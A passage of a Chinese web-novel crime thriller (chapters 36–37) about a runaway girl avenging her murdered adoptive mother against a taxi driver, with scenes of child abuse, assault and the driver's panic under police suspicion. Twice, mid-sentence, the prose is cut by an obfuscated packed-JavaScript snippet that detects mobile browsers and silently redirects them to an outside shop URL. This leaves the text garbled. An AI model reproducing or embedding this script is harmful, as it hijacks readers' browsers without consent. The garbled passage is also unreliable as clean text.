在搞什么啊?滚啊,滚啊! 狭窄的城中村道路让蔡岛嘉无法加速,他脸色铁青,双手紧握在方向盘上,只求尽快甩掉车窗外那张剧毒的脸庞。 “对了,我终于想起在哪里见过小蔡哥哥了。”朵朵笑了起来。 “什么?” 他还是没忍住,本能地朝她看了过去。 “在一个工地上,是叫兰丽华庭吗?”她把脸侧近窗口,歪了歪头,月光在睫毛上落了一排极细的影:“我看到小蔡哥哥在‘玩游戏’。” 空气像被半固的灰浆填满,蔡岛嘉的声音刮过干涩的喉壁,却只发出缺氧的喘息。 寒意从后颈攀上来,像一条细细的蛇缠住他的脊梁。周遭的声音忽然逃到了很远:无尽的蝉鸣,闷热的夜风、前盖里引擎的嗡嗡,偌大的世界,只剩“玩游戏”三个字在他的耳边不断回响。 “你……为什么……” 她的脸上露出甜甜的微笑。 “你以为我是第一次离家出走吗?” 蔡岛嘉恐惧地望着她,再也无话可说。黄色出租车已经完全驶出了铁门,但他忽然之间好像忘记了怎么开车,哆嗦的手指怎么也不听使唤。 “那么,拜拜咯。和你玩游戏很开心。” 朵朵在大门前停下脚步。 “我会等你回来的,我们的游戏,还没结束呢。” 铁门在刺耳的金属摩擦声里合上。朵朵抬手扣住门闩,“咔嚓”一声,锁上了蔡岛嘉最后的生路。 她转过身,看见站在槐树下的夏禧,她已经完全取下了墨镜,挂在胸前。她定定地望着门前的朵朵,神色复杂。 “这样就好了?” 震耳欲聋的蝉鸣声几乎压倒夜色,让人怀疑那么小的躯壳里,怎么能够发出这样巨大的恸绝。 朵朵扬起嘴角,露出灿烂笑容。 7月25日下午,她就是用这样的表情握住了夏禧的手腕。 她的手,比夏禧小上太多,但那样一只骨节还未完全发育的手,竟使夏禧失去了挣脱的力气。 手机从空中跌落,110接线员的声音在那一刻中断。 “不要报警。” 她看着夏禧的眼睛,笑起来有小小的酒窝: “这样就好了。” 36.第 36 章 咔嚓一声,生锈的铁门轻轻扣上了门闩。 那是2002年11月3日,她第一次离家出走。 “哎呀,你袖子没给小宝穿对。” “这新衣服是不是硬了点?你买的啥呀,会不会磨破小宝的皮肤?” “不会不会,那大婶说了,她自家孩子都穿这个。” “咿呀!哇!” “哦,哦,小宝不闹,小宝不闹,爸爸坏——打爸爸——爸爸弄疼了小宝——” “哈哈哈……” 她最后一次看向传来说笑声的窗户,没有悲伤,没有犹豫,只有淡淡的失落。六岁的苗盼弟握紧了磨毛破边的书包带子,转过身,一步一步地离开了那个不属于她的家。 出门就是土路,凹凸不平的泥面上留着昨夜死掉的雨,映着铅灰色的天光。两边田野里的稻子早就割完,秸秆扎成垛,稻茬齐齐露在泥里。几只狗在远处的平房里低低地叫,她不回头,沿着田埂一直走。 她没有去想,如果她的妈妈还在,是不是也会像那个妈妈一样,把她抱在怀里,笑着给她穿上新衣服。 “求求你了,带我走吧,妈妈!苗苗会乖的,苗苗会听你的话,苗苗不会拖你的后腿——带我走吧,妈妈!” 妈妈离开的时候,她追在身后,一直跑,一直哭。可是妈妈的腿好长,妈妈拉着行李箱,头也不回。她跌倒在土里,膝盖一阵刺痛,前方的妈妈停了一下,抹了下脸,接着继续往前。 那就是她和妈妈的最后一面。 她哭到再也哭不出来,哭到月亮高高挂起,妈妈也没有回来。她抹着眼泪回到家中,爸爸叼着旱烟坐在门槛上,冷眼看着她: “你妈不要你了!从今以后,你跟老子过。你要是不乐意,趁早滚得远远的!” 是啊,妈妈不要她了。就算妈妈还在,也不会把她抱在膝上,为她穿上温暖的新衣。 过早知道答案,让幻想,都变成一件残酷的事。 不过一年后,爸爸就娶了新的妈妈,他们有了新的小孩,是个胖乎乎的小弟弟。她听过许多恶毒的后妈故事,但新妈妈没有打她,也没有不给她饭吃,新妈妈只是……看不见她。 爸爸也看不见她。 她说话的时候,他们好像都听不到她的声音。真奇怪啊。是苗苗的声音太小了吗?她鼓起勇气大声说话,得到了爸爸的怒吼和巴掌。新妈妈捂起小弟弟的耳朵,皱着眉头,好似刚刚响起的,只是打谷机的烦人噪音。 她就像一块突兀的拼图碎片,被人遗落在这张已经完成的成品图上。无论怎么努力,也找不到自己的位置。 如果我能消失就好了。 如果我没有被生下来就好了。 爸爸,妈妈,新妈妈,一定都会比现在更幸福吧。 这样的念头时常盘旋在她小小的脑袋里,像冬去春来的燕子,走了又去,去了又回来。接着,在某一个再寻常不过的下午,她下定了离开的决心。那天并没有什么特别的事情发生,只是夕阳尤其赤红,让地平线上的山峦像在浴火重生。 三天后,她就背上破旧的书包,关上那道铁门,走在了仿佛无尽的田埂上。 她的书包里有昨晚吃剩的干馒头,几件妈妈还在时给自己买的换洗衣服,一把迷宫里有小银珠的卡通尺子,衣服下大片大片的淤青。这就是她拥有的全部。 天的那边是什么呢?她不知道,也不害怕。 她没有目的地,只是沿着道路前进。熟悉的村庄渐渐被甩在身后,新的村庄又出现在道路上。有带着笑容说要“收留”她的老单身汉,有说要“帮她找家”的老女人,她视人类如洪水猛兽,只要对方稍微走近,就转身飞奔逃走。 白天,她沿着土路前进,夜里,就蜷缩在秸秆堆和谁家的牲畜棚子,与那些温暖的牛羊挤在一起。 它们温柔地接纳了无家可归的她,允许她和它们的幼崽睡在一起,还用柔软温热的舌头,舔掉她脚底血泡破裂后渗出的血。馒头吃完了,她就偷地里的东西,庄稼都收完了,但还有翻出来的零星几个红薯被遗忘在土地上。 有的时候她会做梦,屋内下起雨,水位涨到胸口,爸爸暴怒的脚步在水面上走来走去,大声怒喝着她的名字,金属的皮带扣拖在水面上,绽开一圈圈涟漪;她胆战心惊地潜入水底,无法呼吸,氧气渐渐耗尽,耳边只剩下“咚、咚”的心跳。醒来之后,她就抱紧身边毛茸茸的小牛小羊,把打湿了的面孔埋到它们柔软蓬松的毛发里。 她走啊走,土路渐渐变成了公路。 她的呼吸开始变成白色的雾气,十个指头比以往更早地长出冻疮。那件单薄的针织衫越来越脏,在急降的气温下显得无能为力,她能做的只有检查每一颗塑料纽扣是否扣好,已经掖到最紧的领口,能不能再紧一点。 即便如此,她也没有想过回家。 她早就没有家了。 就是那个时候,她们相遇了。 那是一个有月亮的夜晚,温柔的月光从天空中流淌下来,照亮了城市边缘的一片荒地。她躲在一条水泥管里避风,不远处是几个塞满生活垃圾的垃圾箱,这里偏僻,肮脏,就连流浪汉都不会驻足,却是她找了许久才找到的避风港。 她蜷缩在管道内,早已看不出原本颜色的书包就立在她的脚边。她抱紧麻木的双臂,牙齿在寒冷中咯吱作响。 “没事的,苗苗。等太阳出来就好了。”她轻声自言自语,就好像她的灵魂正在安慰分离的身体,“等天亮就好了。” 可是啊,那一晚太漫长了。比以往都要漫长。她的眼皮止不住地往下掉,寒冷的感觉不知不觉消失了,或许是天就快亮了吧,她甚至热了起来,想要脱掉身上仅有的保暖衣物。 一阵窸窸窣窣的脚步声从水泥管外响了起来,接着是一张脏兮兮的脸,出现在圆形的世界中。 她爬了进来,堵住最大的风口,脱下身上带着馊味的军绿色大衣,把失温的她包裹了起来,紧紧抱在怀中。 她无法动弹,手脚都在寒冷中僵直,就算张开失去知觉的嘴唇,也只能发出无意义的“嗬嗬”声。水泥管外的冬风还在“呜呜”地呼啸,但却没有那么可怕了。不知不觉,她在女人的怀抱中睡着了。 这一晚,她没有做梦。 天亮以后,女人捡了一根树枝,在她面前一笔一划地写道:“田、小、梅。” 她已经上小学了,这三个字她都认识。但她咬着嘴唇没说话,女人就耐心地一个字一个字给她念: “田、小、梅——” 指了指自己,再念: “田——小——梅——” 她犹豫地张开嘴,跟着念了一遍,女人就开心地笑了。 “朵朵。”女人在地上又写了两个字,然后指了指她,“你是,朵朵。花朵的朵。我是,田小梅——妈妈。” 从那天起,她有了真正的妈妈。 不是血缘束缚之下的身份,也不是他人选择带来的后果,是她和她共同选择的羁绊。是夜里真实存在的温暖怀抱,是牵着她从不松开的手。 她们一起在白天捡废品,妈妈拖着一个灰色的蛇皮袋走在前方,袋子里装的是她们一天的温饱,她跟在身后,目光随时扫视着街边的纸壳和塑料瓶,每当看到妈妈没有看到的“漏网之鱼”,她就会像小豹子一样飞快地蹿过去,在其他流浪汉看见之前,先一步把“宝藏”带回来献给妈妈。 “哇!”妈妈一边惊呼,一边把她献上的宝藏小心放进蛇皮袋中。 妈妈用公园水池下的淤泥把她的脸也抹得脏脏的。 一开始,她并不理解这么做的原因。直到她亲眼见到三个男流浪汉把妈妈拖到树林里。 “放开妈妈!放开我的妈妈!” 她惊慌失措地冲了上去,对着三个远高于她的成年男人拳打脚踢,但他们甚至没有回头看她一眼。妈妈尖叫着,挣扎着,但很快就被脸朝下按倒在地上,反剪了手臂,不让她起身。 她冲上去死死咬住一人的胳膊。 “操!死丫头,放手!” 她的头被拳头重重击打,但她没有松口,直到对方从地上捡起一块石头砸到她头上,让她失去了知觉。最后听到的,是妈妈撕心裂肺的怒吼和尖叫。她醒来时,已经被妈妈抱在怀里,妈妈衣衫不整,鲜血染红了脸上已经结块的污泥。但她在笑,笑着说: “朵朵醒了……朵朵醒了……妈妈的朵朵醒了……” 妈妈擦干了她后脑勺的血迹,用嚼碎了不知道什么的草,敷在她的伤口上。然后她们把仅有的一点行李收进蛇皮袋中,又一次开始了旅行。但那天以后,她捡了一把已经生锈的粉色美工刀藏在书包里,她磨掉了上面的锈迹,直到刀锋变得闪闪发光。 是的,她们在旅行。她从不觉得这是流浪。 她曾经狭小而苍白的世界,因为妈妈而变得丰富多彩,无边无际。妈妈是无所不能的英雄,知道哪个垃圾桶里有面包店刚扔掉的面包,知道哪个自助取款机的小房间没有上锁,妈妈还有一双巧手,能够把破得不能穿的毛衣拆成毛线,用两根细细的树枝,重新织成发夹、娃娃送给她。 妈妈总是听见她的声音。妈妈总是能看见她的模样。 尽管天还是很冷,肚子也常常饿着,但妈妈在军大衣下紧紧抱着她的时候,她像拥有了世界一样。 她最喜欢妈妈了。 全世界,她最最最喜欢妈妈了。 哪怕世界毁灭,她也想和妈妈在一起。 可是这样的生活仅仅持续了将近一年。2003年11月18日,在群众举报下,她们被当做人拐子和走失儿童,被一行身穿制服的警察送进了派出所。妈妈不是人贩子,但也不是她法律上的妈妈。 她们被强行分开了。 她被送回了乡下原本的家,爸爸用拳头狠狠揍了她一顿,当她倒在墙角时,他又对着她的肚子狠踹了两脚。 “呸!”他把浓痰吐在她脸边,“苗盼弟,你把我们家的脸都丢尽了!” 她没有哭,没有叫喊。她只想回到妈妈身边。 她不是苗盼弟,她是朵朵。花朵的朵,妈妈最珍爱的宝贝。 能下床后,她逃跑了一次。还没出院子就被逮到,又挨了一顿好揍。后来陆续又逃了几次,每次都打得比上一次更重,最后一次,皮带险些抽断了她的腿和腰,就连床板上铺着的干草都是她的血迹。那一个周,她连喝水嘴里都是血腥味。 她暂时放弃了逃跑,转而寄希望于考上城里的初中,然后再和妈妈团聚。 还有四年,妈妈一定会等她的。 抱着这样的希望,她埋头苦读,在2007年的6月,她考出了全乡第一的好成绩。原本只打算让她在镇上随便读个初中,读完就回来帮忙的爸爸,也在江都市第三中学的校长和老师的劝说,以及“全额奖学金”的许诺下,答应送她去城里读书。 由于路途遥远,家里给她办理了住校。每到周末,她就以各种理由溜出学校铁门,打听妈妈的消息。 她已经长大了,妈妈还能认出她来吗? 她在期待和忐忑中寻找着妈妈的身影。 那些妈妈曾经待过的地方,她用不吃早餐省下的钱,坐着公交车一个一个找过去,始终一无所获。直到一个月后,她来到她们最初相遇的地方。 那片荒地已经被开发成了豪华的住宅小区,曾经为她们遮风挡雨的水泥管早已消失不见,曾经爬满老鼠的垃圾桶也不见踪影。巨大的冰冷的公寓一栋栋地耸立着,割裂了蔚蓝的天空。 “小朋友,你找谁啊?”见她站着许久不走,身穿制服的保安走了过来,和颜悦色地问道。 她该怎么说呢?说田小梅,他会知道吗? 最后,她只是不抱希望地问他有没有见过一个穿军大衣的女人。 “啊,有啊。去年这工地上有个穿军大衣的疯女人,赶都赶不走呢。怎么,你认识啊?”保安兴趣盎然地打量着她。 “那是我的妈妈!叔叔,你知道她去哪里了吗?”她如同抓到了海面上最后的浮木,急切地问道。 “你的妈妈?”保安诧异地看了看她身上廉价但整洁的衣物,摇了摇头,“早就走了。不知道去哪儿了。” 她呆呆地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763571|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在那里,不记得自己是怎么走开了。 妈妈的消息就像蝴蝶一样,在手心上短暂停留就飞走了。但她并不相信妈妈真的走了。 “朵朵要是走丢了,记住,原地不动,”妈妈按着她的双肩,缓慢而郑重地对她说,“妈妈,一定会,找到你。” 她不会走的。妈妈不可能丢下自己离开的。那是寒冬把她裹在军大衣最里层,用身体挡住寒风,轻轻唱着摇篮曲的妈妈啊! 就在这时,一辆黄色出租车在大门前渐渐停下。衣着精致的乘客开门下车,驾驶席上的司机正在整理刚收到的零钞。一个灰色的毛线老鼠,在后视镜下对她咧着嘴微笑。 “妈妈!这是要送给我的米老鼠吗?”她扑在妈妈的膝盖上,期待地看着妈妈用两根树枝勾勒出来的毛线鼠。 毛线在妈妈的手指尖灵巧地翻飞,老鼠的头颅已经完成,咧到嘴角的笑容让她想起在妈妈身边的自己。 “是,送给妈妈的,朵朵呀。”妈妈笑道,“送给,妈妈的,宝贝。” 她没有等到毛线老鼠织完的那一天。 但现在,那只熟悉的毛线鼠就挂在那辆出租车的后视镜下。 那个时候,她就知道,妈妈不在了。妈妈从这个世间消失了,再也不会有人在寒风中抱着她,轻轻摇晃她的身体,温声哼唱摇篮曲。再也不会有人,在她举起塑料瓶的时候,大声地夸奖她的能干。再也不会有人给她用毛线做发夹和小玩具了。 那只总是牵着她的手,永远地松开了。 11月的一个周日,她蹲在出租车公司的花坛背后,看着蔡岛嘉走出后,远远跟了上去。她从书包里拿出那把塑料壳已经裂口的粉色美工刀,藏在自己的长袖里,慢慢缩短了和他的距离。 哪怕世界毁灭,她也想和妈妈在一起。如果妈妈不在了,那么世界毁灭也没关系。 在拥挤的人行道前,喧闹的人群给了她最好的掩护,她慢慢走到他的身后,袖中的美工刀滑了出来,银色的刀刃被一寸寸吐出塑料壳,她深吸一口气,猛地刺出! 一只手忽然伸出,用力握住她的手,将她的刀连带着人,一并拉走了。 红灯变亮,她就这样眼看着蔡岛嘉一无所知地随着人流走向街道对面的停车位。机会溜走了。她转过身,怒视着拉住她的人。 一个年轻的男人,瘦削颀长,用同样愤怒——也可能是心痛的眼神瞪着她。 那是她第一次遇见何序。 12月31日,这个青年带着她搬进了八里村三巷6号。这里住着一个不怎么说话的老婆婆,一个微笑时总是显得很悲伤的老爷爷。后来,她的“新妈妈”也搬了进来。她看着众人为了同一个目标努力,他们把她划在计划的行动之外,却不知道,她心中熊熊燃烧的复仇火焰不比任何人少。 2008年7月15日早上,她在天台看着蔡岛嘉和何阿公在院子里交谈。 她举起水泥墙上的其中一盆花盆,面无表情地对准了下方蔡岛嘉的脑袋。 他怎么能够这么若无其事?怎么能够在事后把妈妈的毛线老鼠,像战利品一样悬挂在后视镜下? 她松开了手。 花盆飞速下坠。碎裂在蔡岛嘉的脚前。 只差一点点,真可惜。 她蹲下身躲在围墙背后,平静地想。 下一次,下下一次——她一定会给妈妈报仇。 7月24日,她在槐树下的水泊里,看两只小蚂蚁在落叶上挣扎。蔡岛嘉诱导她对流浪橘猫举起美工刀。他怎么那么蠢,以为她会跟他一样? 她装作顺从的样子,握着美工刀故意刺空,惊走了那只与她分吃过一包猫耳朵的流浪橘猫。 大人们总是说着耐心,但她已经不想再等下去了。 她主动邀请第二天出去玩,趁蔡岛嘉去买水的时候,在后备箱里找到了他藏起来的半袋美金——她亲眼见到何阿公埋进墙里的诱饵。她装作才发现的样子,坐在副驾驶上,等着猎物掉入她的陷阱。 “分我一半。”她坐在麦当劳的椅子上,甜甜地说,嘴里还残留着炸薯条香甜的味道。 这样你就会做点什么了吧? 回到自建楼后,她在三楼分走了蔡岛嘉仅剩的一半中的另外一半,她装作离开,实则偷偷返回,躲在了四楼天台。当夏禧的声音在楼下响起后,她悄悄溜下楼,发现两人进了蔡岛嘉的房间,而夏禧的房门虚掩着。 她毫不犹豫地钻了进去,隔着那道薄薄的墙,她听到了他们商量绑架她的全部话语。 当回到房间的夏禧拿出手机想要报警,她从床底爬了出来,握住夏禧的手腕。 “不要报警。”她笑着说。 那天下午,她知道了夏禧的过去,夏禧也知道了她的过去。在她的恳求下,夏禧答应帮忙。 8月5日中午,趁蔡娟没注意,她用蔡娟放在茶几上的手机偷偷给夏禧打了电话,得知蔡岛嘉已经拿到赎金后,她要求夏禧在半小时后给这个号码打电话,拖延一下时间。挂断电话后,她迅速删除了拨号记录。 半小时后,夏禧果然打来了电话,蔡娟接了电话后说着说着渐渐走到背对她的卧室,她趁机抓起书包和鼠别墅,离开了蔡家。 这样你还能逃吗? 如果还能逃—— 夏夜的月光下,她凑近车窗,一字一顿,轻扬地说道: “在一个工地上,是叫兰丽华庭吗?我看到小蔡哥哥在‘玩游戏’。” 她关上了门。一生中无数次,她关上了门。但这次不同,这次她关上的,是别人的希望,而不是自己的。 朵朵走回自建楼,看着因蔡岛嘉突然抽身而计划陷入困境的其他人,音量不大却清晰地说: “他会回来的。” 何阿公露出惊愕神情,何阿婆猛地站了起来,徐朝颜手中的水杯险些跌落,何序脸上的震惊迅速转为一种心痛,她站在所有人的目光里,只比他们的腰高出一些,但她的眼神,就像她的身体一样,笔直而坚硬。 她没有解释,但心中有个声音在说话。 “因为一切才刚刚开始。” 37.第 37 章 “我看到小蔡哥哥在‘玩游戏’。” 路灯像稀薄的岛,他从一个孤岛逃向下一个孤岛。蔡岛嘉的目光沿着马路一直向前,丝毫不敢回头,哪怕后视镜里只有拉长的尾灯,但他怕,怕阴魂不散的不止那句判词,还有朵朵状若天真的面孔。 他把车仍在蔡家楼下,顾不上是否停进了划线区域,踉跄着奔向他最后的巢穴。 “砰砰砰!砰砰砰!” 猪肝色的大门被一阵猛拍,片刻后,门内传来蔡娟惊疑不定的声音:“谁啊?” “我!”蔡岛嘉喊道。 门开了,他夺门而入。一路逃进自己的卧室,反手将门锁了起来。他如困兽一般在门内转着,找不到足够安全到可以坐下的地方。 “儿子,发生什么事了?”蔡娟惊慌的声音从门外响起,“是不是朵朵家里发现了?” “滚!别说话!”蔡岛嘉大喝道。 “儿子!开门,你开门和妈妈好好说说……” 拍门的呼喊没有断绝,就像一双手在他已经绷到极致的神经上继续拉扯,蔡岛嘉暴怒起身,抬起一旁的椅子用力砸向房门。 “滚!” 一声重响钉死在门上,回声像碎铁在屋内散落。蔡娟在门外尖叫一声,终于安静下来。 蔡岛嘉气喘吁吁地坐到床上,双手抱头,强迫自己冷静下来。 “不可能有人看见啊……”他喃喃自语,一半是安慰,一半是催眠。 可是,她知道兰丽华庭。她说看见他玩游戏了。 一瞬间,蔡岛嘉被带回那个夜晚——用垃圾砌出的堡垒、提着粮油的自己、脸色酡红的田永,还有那个正防备地蜷缩在角落里的流□□。回忆刚短暂地浮出水面,就被他强硬地重新按回大脑深处。 对蔡岛嘉而言,这是比十三岁时溺死女婴更深的秘密。因为前者,他已经用三年时光“赎过罪”了,他们两清了,但后者,他仍未为此付出代价。 他很确定,当时现场没有其他人。堡垒里也无处藏身。为什么苗盼弟会知道四年前的事? 最重要的是—— 她手里是否还握有其他证据?其他——能够将他送往地狱的证据? 蔡岛嘉的双手在他眼前不断颤抖,他用力握住其中一只,两只手一起抖了起来。 “操、操、操……” 他再也无法忍受这附骨之疽般的恐惧,起身猛地打开了房门。蔡娟跌坐在门前,还保留着被砸门声吓住的一丝茫然和深深的恐惧,她抬头朝他看来,但他已经从她腿上跨过,毫不犹豫地走向了大门。 “儿子!” 蔡岛嘉视若罔闻,开门走出了家。 蔡娟在冰冷的地板上呆坐了一会,颤抖着摸出身上的手机,给姜胜拨去电话。 蔡岛嘉重新坐上那辆黄色出租车,一脚油门开出,往一个他已经淡忘的位置而去。兰丽华庭,他已经多久没来过这里了? 黄色出租车飞快地驶在空荡荡的马路上,二十分钟后,他看见了那片熟悉的住宅区。蔡岛嘉把车停在离小区大门还有一条街道的路边,目不转睛地盯着那片高楼。 灰黑色的云层像搅拌未匀的水泥浆,低悬不动。大部分的窗户都熄灭了,还剩几十户散发着昏黄的灯光,在夜幕中碰撞。风不吹,云不动,天与地间像被什么生生拽紧,只剩微弱的远光灯一闪一闪,如幽灵的呼吸。 他的目光透过层层障碍,飞到了小区中央那片粉红色的圆顶上。那是一个小区幼儿园,墙壁已经斑驳。但在四年前,只是一个堆满垃圾,被一个疯女人当做“堡垒”的地方。 蔡岛嘉焦躁地咬着指甲,直到尝到一丝铁锈味。 他分明确认过了,那附近没有监控,当晚值班的保安也去和工友吃火锅了。在那晚过后,疯女人彻底从世间消失了。“堡垒”里发生的事,本应天衣无缝。 他知道不可能是田永那边出了差错,他和自己一样,都承受不起最后一根稻草。 怎么泄露的,已经不是最重要的事情了,最重要的是——之后怎么办。 他掏出手机,在手机浏览器上打下“没有尸体能立案调查吗”几个字。网络龟速爬动,他充血的双眼眨也不眨地盯着那个转动的圆圈。终于,一串搜索结果出现在手机屏幕上。 他逐一浏览。 就像他在少管所里学到的一样,必须有实物证据:尸体、DNA、目击证人等才能立案。谢天谢地,法规并没有更改。任何人都不可能找到尸体,所以现在只剩下一个问题——苗盼弟。她是活生生的实物证据,她的证言,或者手中的证据,都可以将他推向万劫不复之地。 紧闭的车窗在这一刻忽然敲响,蔡岛嘉打了个哆嗦,手机差点从手里飞走。他抬头一看,身着便服的戚迪弯腰站在窗外,目不转睛地看着他。 他手忙脚乱地关闭了手机,将其塞进裤兜,然后才摇下车窗,露出一个难看的笑容。 “戚警官……你怎么在这里?” “巡逻。没想到会在这里遇到你,真巧啊。你来这里做什么?”戚迪把手搭在车窗上,看似随意的闲聊,眼神却在打量他车上的物品。 他在说谎。蔡岛嘉第一时间想。 这里离八里村几乎是一个东边一个西边,戚迪再怎么巡逻,也不应该巡到兰丽华庭来。更何况,他还穿着便服——但蔡岛嘉不敢问,没有老鼠会问猫为什么盯上自己,它们心中比谁都清楚答案。 蔡岛嘉干笑着,在驾驶席上稍微坐了起来,用自己的身体,尽可能地挡住戚迪的视线。 “我以前在这儿工作过,那时候这里还是一片荒地,我老送我们老板来这里,现在建成小区了,还挺怀念的,路过顺便就来看看。” “哦,怀念。”戚迪说,“你去买了东西?” 戚迪的目光落在副驾的红色塑料口袋上。蔡岛嘉的浑身汗毛都在那一刻竖了起来——那是他用来装□□的袋子。 “是、是啊。”蔡岛嘉说。 他可以想象自己脸上的表情有多僵硬,因为戚迪下一句说: “我看看呢。” 蔡岛嘉已经快笑不出来了,但他逼迫自己依然把嘴角扬起,他能感觉到,空气比平时更快地剥夺了牙龈的水分。 “就是一些吃的。”他说。 “我看看。”戚迪再次说,并向他伸出了手。 蔡岛嘉的手在戚迪的再三催促下,终于伸向红色塑料袋。他犹豫了一下,五指才穿过塑料袋的提手,慢慢将其递给伸入车窗的那只手。 戚迪接过红色塑料袋,看了他一眼,在他眼前拉开了袋子—— 几包薯片和辣条。 戚迪愣住了。 “行了吗?”蔡岛嘉的声音让他回过神来,他又看了一眼袋子里的物品,还是那几包薯片和辣条。 “……看不出来你还挺爱吃零食。”戚迪用插科打诨的方式把袋子还了回去。 “跑车要熬夜,我又不抽烟,就靠吃零食提神。”蔡岛嘉把红色塑料袋重新放回副驾,发动了引擎,“戚警官,没事我就先走了,还要跑车呢。” “……行,不耽搁你了。”戚迪终于从车窗撤回了他的身躯。 蔡岛嘉踩下油门,装若寻常地从马路上开走了。他瞥了眼后视镜,戚迪站在原地,动也不动地望着他的车越开越远。 他不敢停,不敢加速,生怕任何举动都会让身后的猫追上来撕裂自己。十五分钟后,黄色出租车急刹在一条无人的路边,蔡岛嘉跌跌撞撞地推门冲出,刚踏入草丛,他就再也忍耐不住,翻天覆地地吐了起来。 超出身体承受范围的紧张和恐惧,通过剧烈的身体反应连接到现实。 他想起就在离家之前,他怀着一丝不安,将车内所有不该出现的东西都扔进了后备箱,那瓶只用了一点的□□当然也在其中。他只是为了预防“万一”,却没想到“万一”真的发生了。 戚迪出现在兰丽华庭绝不是巧合,这说明警方已经开始调查四年前的事情,蔡岛嘉几乎能看到横亘在自己眼前的万丈悬崖的阴影—— 这已经不是战或逃的问题。他根本没有了逃跑的选项。 他只能——战,或者死。 兰丽华庭对面的路口上,戚迪仍站在原地。一个小时前,他刚从医院离开,母亲已经熟睡,他本想利用这个时间来现场寻找遗落的线索,没想到这么巧,能撞见嫌疑人重返现场。他从兜里掏出一枚薄荷糖,剥开糖纸后扔入口中,不等糖果融化,先一步咔嚓咔嚓地嚼碎了。 薄荷的清凉直冲大脑,暂时压倒了他对尼古丁的渴望。戚迪盯着黄色出租车消失的方向,越来越肯定自己的推测是正确的,眼下他所缺少的,是将推测变为现实的证据。 因为怀念重返旧地?别开玩笑了。 戚迪明知他在说谎,却无法拆穿他拙劣的谎言,就像他明明看出了他不是在例行巡逻,也不敢开口问他真正的动机。那卷从爱好者手中借来的录像带,就算能修复出蔡岛嘉和田永的面孔,也只能证明他和田永在04年8月12日这晚,拖着一个诡异的行李箱出现在工地。 没有证人,没有证物,没有亲属报失踪——即便他知道蔡岛嘉谋杀了流□□的可能性有99.9%,也无法立案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768969|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调查。 薄荷糖碎裂的声音戛然而止。电光石火间,戚迪忽然想起,最初引起他怀疑的——是那栋楼,而非蔡岛嘉个人。一个被偷拍却不敢向警方求助的出租车司机,和五个看似普通,却在红外探测器掉落时表情不一的一家人。 “……靠。” 他咽下了剩余的薄荷糖,那股寒意顺着喉咙漫向四肢。 城市另一端一个不起眼的小公园里,寂静无声。长椅和扭腰器排在昏黄路灯下;风从灌木间掠过,沙沙作响。第一滴雨落在扭腰器的黄漆上,摊成一朵圆斑;第二滴砸在单杠,“嗒”地回音清脆。随即,密点成线,八月的第一场雨渐渐成型。 蔡娟呆坐在秋千上,雨水顺着她的头发往下巴蔓延,雨中的世界已经模糊。但她甚至忘记抬手去擦。 脚步声由空场尽头逼近,带着一丝急促和烦躁。蔡娟呆呆地抬起头来,看见姜胜撑着一把蓝伞从路灯下现身,雨水从伞沿接连不断地落下。他的脸色和脚步声一样,都写着厌烦。 “有什么事?快说吧。” 蔡娟的眼泪霎时就出来了。尽管经历了无法原谅的背叛,但现在,除了这个和她一起赋予儿子生命的男人,她不知道还能求助于谁。 她哽咽着,抽泣着,顺序颠倒地将这几天的事情一股脑地说了出来。但姜胜并没有听完,几乎是“绑架”两个字出现在他脑海中一瞬间,他的脸色变得惨白,像是看见了什么怪物一般,猛地后退了一步。 “别说了!”他低声呵道,“你告诉我这些做什么?!我是不会帮他的!” “可他是你儿子啊!” “那又怎么样?难道我还能替他去坐牢吗?”姜胜压低声音,不安的眼神四下张望,唯恐被别人听去,“我劝你也别管了,他已经没救了!” “他怎么没救了!他是你儿子!是你唯一的儿子!”蔡娟的声音骤然拔高,她哭着喊道,“是你说他有男子气概的,如果不是你——” “关我什么事?我每天忙得脚不沾地,所有钱都带回来给了你,教儿子是你的责任,他如今变成这样,完全是你一手导致!而且——又不是我一个人说他有男子气概,你不是也说,他如果生在古代,能当个将军吗?!” 愤怒和心虚让他逐渐忘记了压低声音,蔡娟则哭泣着反驳,越来越大的雨吞噬了他们的互相指责。跷跷板轻轻晃了两下,就被雨压沉,像低头认输。 “反正我不会再管了!你别跟我说,我不想听他做了什么!”姜胜怒声道,“我不会报警,这是我为你们母子做的最后一件事。以后无论他是死是活,无论你要陪着他发什么疯,都不要再联系我了!我不会接的!” 他转身就走,走得很快,从伞上滑下的雨幕很快淹没了他的背影。 “姜胜!”蔡娟哭着喊道,“他是你的儿子啊!他是我们唯一的孩子啊!” 他走得更快了,最终完全消失在大雨之中。 雨一颗颗砸下,像加了铅,迅速把蔡娟按倒。她滑了下去,膝盖在污水里“扑通”一声,跪出一圈浑黄的涟漪。 她的视线早就被雨水和泪水模糊,浮现在眼前的,是第一次发现儿子虐待宠物兔贝贝的情景。 “今天下午……我看见儿子把装着贝贝的笼子放到水里。” 那是一个夜晚,她把姜胜拉到房间里,怀着不安向他讲述了自己看见儿子将装有兔子的笼子反复浸入水中的画面。 那时他们以养鱼为生,家里永远都有鱼鳞的腥味,别的女人都不爱和她来往,怕染上腥味。但她从来没有抱怨过。她是家中长女,下面还有四个弟弟妹妹,忍耐已经化为她的本能。 “那有什么,长大了就好了。”姜胜脱下带有鱼塘腥味的衣服,疲惫地在床上坐下。 “要不要和他说说?”她犹豫道,“你是爸爸,你去说比较好。” 